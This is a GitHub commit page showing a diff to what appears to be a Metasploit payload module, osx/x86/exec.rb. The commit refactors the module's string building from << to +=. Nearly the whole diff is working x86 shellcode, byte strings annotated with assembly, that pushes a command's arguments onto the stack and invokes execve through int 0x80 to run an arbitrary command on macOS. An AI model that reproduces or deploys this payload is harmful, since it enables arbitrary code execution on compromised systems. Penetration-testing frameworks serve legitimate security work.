Skip to content

Commit 9c12280

Browse files
committed
Change to += syntax.
1 parent ab08871 commit 9c12280

File tree

1 file changed

+22
-21
lines changed
  • modules/payloads/singles/osx/x86

1 file changed

+22
-21
lines changed

modules/payloads/singles/osx/x86/exec.rb

Lines changed: 22 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,8 @@ def initialize(info = {})
3131
'joev <jvennix[at]rapid7.com>' ],
3232
'License' => BSD_LICENSE,
3333
'Platform' => 'osx',
34-
'Arch' => ARCH_X86))
34+
'Arch' => ARCH_X86
35+
))
3536

3637
# Register exec options
3738
register_options(
@@ -53,38 +54,38 @@ def generate_stage
5354
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
5455

5556
# Stuff an array of arg strings into memory
56-
payload = ''
57-
payload << "\x31\xc0" # XOR EAX, EAX (eax => 0)
58-
payload << Rex::Arch::X86.call(arg_str.length) # JMPs over CMD_STR, stores &CMD_STR on stack
59-
payload << arg_str
60-
payload << "\x5B" # POP EBX (EBX => &CMD)
57+
payload = "\x31\xc0" + # xor eax, eax (eax => 0)
58+
Rex::Arch::X86.call(arg_str.length) + # jmp over CMD_STR, stores &CMD_STR on stack
59+
arg_str +
60+
"\x5B" # pop ebx (ebx => &CMD_STR)
6161

6262
# now EBX contains &cmd_parts[0], the exe path
6363
if cmd_parts.length > 1
6464
# Build an array of pointers to the arguments we copied on to the stack
65-
payload << "\x89\xD9" # MOV ECX, EBX
66-
payload << "\x50" # PUSH EAX; null byte (end of array)
67-
payload << "\x89\xe2" # MOV EDX, ESP (EDX points to the end-of-array null byte)
65+
payload += "\x89\xD9" + # mov ecx, ebx
66+
"\x50" + # push eax; null byte (end of array)
67+
"\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
6868
cmd_parts[1..-1].each_with_index do |arg, idx|
6969
# can probably save space here by doing the loop in ASM
7070
# for each arg, push its current memory location on to the stack
71-
payload << "\x81\xC1" # ADD ECX, + ...
72-
payload << [cmd_parts[idx].length+1].pack('V') # (cmd_parts[idx] is the prev arg)
73-
payload << "\x51" # PUSH ECX (&cmd_parts[idx])
71+
payload += "\x81\xC1" + # add ecx, ...
72+
[cmd_parts[idx].length+1].pack('V') +
73+
# (cmd_parts[idx] is the prev arg)
74+
"\x51" # push ecx (&cmd_parts[idx])
7475
end
75-
payload << "\x53" # PUSH EBX (&cmd_parts[0])
76-
payload << "\x89\xe1" # MOV ECX, ESP (ptr to ptr to first str)
77-
payload << "\x52" # PUSH EDX
78-
payload << "\x51" # PUSH ECX
76+
payload += "\x53" + # push ebx (&cmd_parts[0])
77+
"\x89\xe1" + # mov ecx, esp (ptr to ptr to first str)
78+
"\x52" + # push edx
79+
"\x51" # push ecx
7980
else
8081
# pass NULL args array to execve() call
81-
payload << "\x50\x50" # PUSH EAX, PUSH EAX
82+
payload += "\x50\x50" # push eax, push eax
8283
end
8384

84-
payload << "\x53" # PUSH EBX
85-
payload << "\xb0\x3b" # MOV AL, 0x3B (execve)
86-
payload << "\x50" # PUSH EAX
87-
payload << "\xcd\x80" # INT 0x80 (triggers execve syscall)
85+
payload += "\x53" + # push ebx
86+
"\xb0\x3b" + # mov al, 0x3b (execve)
87+
"\x50" + # push eax
88+
"\xcd\x80" # int 0x80 (triggers execve syscall)
8889

8990
payload
9091
end

0 commit comments

Comments
 (0)